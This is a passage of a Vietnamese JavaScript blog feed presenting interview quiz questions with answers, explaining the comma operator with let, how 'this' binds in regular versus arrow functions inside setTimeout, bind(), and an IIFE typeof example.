class="token punctuation">,</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Sau đó, <em>(x = 0, x++, x)</em> sẽ thực hiện lần lượt thực hiện: x = 0, x++, x và trả về giá trị của biểu thức cuối cùng. Như vậy, x = 1;</p> <p><strong>Xét biểu thức thứ 2:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> y <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>y <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> y<span class="token operator">++</span><span class="token punctuation">,</span> y<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Lần này, biến y được khai báo sử dụng let, nên nó sẽ không được hoisted. Vì vậy, khi <em>(y = 0, y++, y)</em> thực hiện lần lượt các lệnh, thì ngay câu lệnh đầu tiên <em>y = 0</em> sẽ báo lỗi ReferenceError: y is not defined. Bởi vì, biến y lúc này chưa được khai báo.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là 6 câu hỏi phỏng vấn JavaScript cũng rất hay. Nếu bạn có cùng nhận xét với mình thì vui lòng để lại bình luận xuống phía dưới nhé!</p> <p>Xin chào và hẹn gặp lại bạn trong <a href="/xoan-nao-voi-phong-van-javascript-4/">bài viết tiếp theo</a>, thân ái!</p>[email protected]<![CDATA[Xoắn não với phỏng vấn JavaScript 2]]><![CDATA[Xin chào bạn đến bài viết Xoắn não với phỏng vấn JavaScript 2, hôm nay mình lại tiếp tục chia sẻ với bạn những câu hỏi phỏng vấn JavaScript rất hay. Mời bạn theo dõi bài viết! Xoắn…]]>https://completejavascript.com/xoan-nao-voi-phong-van-javascript-2/https://completejavascript.com/xoan-nao-voi-phong-van-javascript-2/<![CDATA[ES6]]><![CDATA[IIFE]]><![CDATA[Quiz]]>Thu, 17 May 2018 12:19:36 GMT<p>Xin chào bạn đến bài viết <strong>Xoắn não với phỏng vấn JavaScript 2</strong>, hôm nay mình lại tiếp tục chia sẻ với bạn những câu hỏi phỏng vấn JavaScript rất hay. Mời bạn theo dõi bài viết!</p> <h2 id="xoắn-não-với-phỏng-vấn-javascript-2--câu-1" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-2--c%C3%A2u-1" aria-label="xoắn não với phỏng vấn javascript 2 câu 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 2 – Câu 1</h2> <p>Cho bạn 4 đoạn code sau:</p> <p><strong>Đoạn 1:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> person <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Bob"</span><span class="token punctuation">,</span> <span class="token function-variable function">sayName</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">I'm </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> person<span class="token punctuation">.</span><span class="token function">sayName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Đoạn 2:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> person <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Bob"</span><span class="token punctuation">,</span> <span class="token function-variable function">sayName</span><span class="token operator">:</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">I'm </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> person<span class="token punctuation">.</span><span class="token function">sayName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Đoạn 3:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> person <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Bob"</span><span class="token punctuation">,</span> <span class="token function-variable function">sayName</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">I'm </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> person<span class="token punctuation">.</span><span class="token function">sayName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Đoạn 4:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> person <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Bob"</span><span class="token punctuation">,</span> <span class="token function-variable function">sayName</span><span class="token operator">:</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">I'm </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> person<span class="token punctuation">.</span><span class="token function">sayName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả thế nào và tại sao?</p> <div class="wrap-collapsible"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong></p> <ul> <li>Đoạn code 1, 2, 4: I'm</li> <li>Đoạn code 3: I'm Bob</li> </ul> <p>Như vậy đoạn code 3 là đoạn code in ra kết quả như mong muốn.</p> <p><strong>Giải thích:</strong></p> <p>Để giải quyết bài toán này bạn cần nắm được sự khác biệt giữa <a href="/ham-la-gi-ham-trong-javascript/">function</a> và <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow function</a>. Cụ thể là về <strong><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></strong>.</p> <p>➤ Đối với function:</p> <blockquote> <p>In most cases, the value of this is determined by how a function is called. It can't be set by assignment during execution, and it may be different each time the function is called.</p> </blockquote> <p>Tức là: trong hầu hết các trường hợp, <em>this</em> được xác định dựa trên cách function được gọi như thế nào. Nó không thể set trong quá trình chạy, và có thể khác nhau trong mỗi lần function được gọi.</p> <p>Nếu so sánh với các ngôn ngữ khác như C++, Java,… thì có thể hiểu <em>this</em> chính là một con trỏ, và mình có thể trỏ nó đến các đối tượng khác nhau.</p> <p>Hãy thử xem xét 4 ví dụ sau:</p> <p><strong>Ví dụ 1:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">func1</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"function 1: "</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">func1</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => function 1: Window {</span> <span class="token comment">// postMessage: ƒ, blur: ƒ, focus: ƒ, close: ƒ, frames: Window, …</span> <span class="token comment">// }</span></code></pre></div> <p>Ở đây, việc bạn gọi <em>func1()</em> sẽ tương đương với <em>window.func1()</em>. Vì vậy, <em>this</em> sẽ là đối tượng <em>window</em>.</p> <p><strong>Ví dụ 2:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">func2</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"function 2: "</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">func2</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => function 2: {x: 1}</span></code></pre></div> <p>Ở đây, mình dùng phương thức <a href="/phan-biet-call-apply-va-bind-trong-javascript/">bind</a> để bind <em>this</em> với đối tượng <em>obj</em>. Vì vậy, <em>this</em> sẽ là tương ứng với đối tượng <em>obj</em>.</p> <p><strong>Ví dụ 3:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> person <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Bob"</span><span class="token punctuation">,</span> <span class="token function-variable function">test</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"test: "</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> person<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => test: {name: "Bob", test: ƒ}</span></code></pre></div> <p>Ở ví dụ này, hàm <em>test</em> là một phương thức của obj <em>person</em> và chính đối tượng này chịu trách nhiệm gọi hàm. Vì vậy, <em>this</em> sẽ trỏ tới <em>person</em>.</p> <p><strong>Ví dụ 4:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"callback: "</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => callback: Window {</span> <span class="token comment">// postMessage: ƒ, blur: ƒ, focus: ƒ, close: ƒ, frames: Window, …</span> <span class="token comment">// }</span></code></pre></div> <p>Ở đây, function được truyền vào setTimeout, dạng callback. Thực chất, khi những hàm callback này được gọi thì thằng gọi nó chính là window. Vì vậy, <em>this</em> sẽ ứng với <em>window</em>.</p> <p>Tóm lại, thằng nào gọi function thì <em>this</em> chính là thằng đó.</p> <p>➤ Đối với arrow function:</p> <blockquote> <p>An arrow function expression has a shorter syntax than a function expression and does not have its own this, arguments, super, or new.target.</p> </blockquote> <p>Theo như định nghĩa, hàm arrow function không có thuộc tính <em>this</em>. Vì vậy, <em>this</em> sẽ được duy trì với ngữ cảnh gần nhất chứa nó.</p> <p><strong>Ví dụ:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> person <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Bob"</span><span class="token punctuation">,</span> <span class="token function-variable function">test</span><span class="token operator">:</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"test: "</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> person<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => test: Window {postMessage: ƒ, blur: ƒ, focus: ƒ, close: ƒ, frames: Window, …}</span></code></pre></div> <p>Mặc dù, hàm <em>test</em> được gọi bởi đối tượng <em>person</em>, nhưng vì hàm này là arrow function nên <em>this</em> sẽ ứng với ngữ cảnh gần nhất – là window.</p> <p>Như vậy, ứng với mỗi đoạn code trên thì <em>this</em> sẽ được xác định như sau:</p> <p><strong>Đoạn 1:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> person <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Bob"</span><span class="token punctuation">,</span> <span class="token function-variable function">sayName</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// this = person</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// this = window</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">I'm </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> person<span class="token punctuation">.</span><span class="token function">sayName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Đoạn 2:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> person <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Bob"</span><span class="token punctuation">,</span> <span class="token function-variable function">sayName</span><span class="token operator">:</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// this = window</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// this = window</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">I'm </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> person<span class="token punctuation">.</span><span class="token function">sayName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Đoạn 3:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> person <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Bob"</span><span class="token punctuation">,</span> <span class="token function-variable function">sayName</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// this = person</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// this = person</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">I'm </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> person<span class="token punctuation">.</span><span class="token function">sayName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Đoạn 4:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> person <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Bob"</span><span class="token punctuation">,</span> <span class="token function-variable function">sayName</span><span class="token operator">:</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// this = window</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// this = window</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">I'm </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> person<span class="token punctuation">.</span><span class="token function">sayName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Với cách xác định <em>this</em> như trên thì đoạn code 3 sẽ cho ra kết quả như mong muốn.</p> <p><strong>Bonus:</strong></p> <p>➤ Với đoạn code 1 phía trên, mình có thể sửa đi 1 chút để ra kết quả như mong muốn mà không cần dùng arrow function:</p> <p><strong>Cách 1</strong>: sử dụng biến tạm để lưu lại giá trị của <em>this</em></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> person <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Bob"</span><span class="token punctuation">,</span> <span class="token function-variable function">sayName</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> self <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">;</span> <span class="token comment">// this = person, self = person</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// this = window, self = person</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">I'm </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>self<span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> person<span class="token punctuation">.</span><span class="token function">sayName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Cách 2</strong>: sử dụng phương thức bind để gán <em>this</em> cho đối tượng mong muốn</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> person <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Bob"</span><span class="token punctuation">,</span> <span class="token function-variable function">sayName</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// this = person</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// this = person</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">I'm </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> person<span class="token punctuation">.</span><span class="token function">sayName</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Cụ thể, mình đã bind hàm callback trên với this – person. Vì vậy, <em>this</em> bên trong hàm callback sẽ tương ứng với <em>person</em>.</p> <blockquote> <p>Với các đoạn code còn lại, tại sao kết quả không phải là "I'm undefined" mà chỉ là "I'm". Bởi vì, đối tượng window có sẵn một thuộc tính là "name". Khi bạn chưa set giá trị cho nó thì mặc định name là một string rỗng "", chứ không phải <strong>undefined</strong>. Điều đó giải thích cho kết quả phía trên.</p> </blockquote> <p>Trên đây là lời giải thích khá chi tiết cho câu hỏi số 1. Mời bạn đến với câu số 2.</p> </div> </div> </div> <div class="margin-bottom"></div> <h2 id="xoắn-não-với-phỏng-vấn-javascript-2--câu-2" style="position:relative;"><a href="#xo%E1%BA%AFn-n%C3%A3o-v%E1%BB%9Bi-ph%E1%BB%8Fng-v%E1%BA%A5n-javascript-2--c%C3%A2u-2" aria-label="xoắn não với phỏng vấn javascript 2 câu 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoắn não với phỏng vấn JavaScript 2 – Câu 2</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">foo</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> foo<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi console in ra kết quả như thế nào?</p> <div class="wrap-collapsible"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Đáp án:</strong> object</p> <p><strong>Giải thích:</strong></p> <p>Với câu hỏi này, bạn cần quan tâm đến 2 vấn đề:</p> <p><strong><a href="https://developer.mozilla.org/en-US/docs/Glossary/IIFE">IIFE</a> (Immediately Invoked Function Expression):</strong> tức là hàm số thực thi ngay sau khi nó được khai báo. Và bạn có thể truyền tham số vào hàm này, bằng cách:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">p</span><span class="token punctuation">)</span> 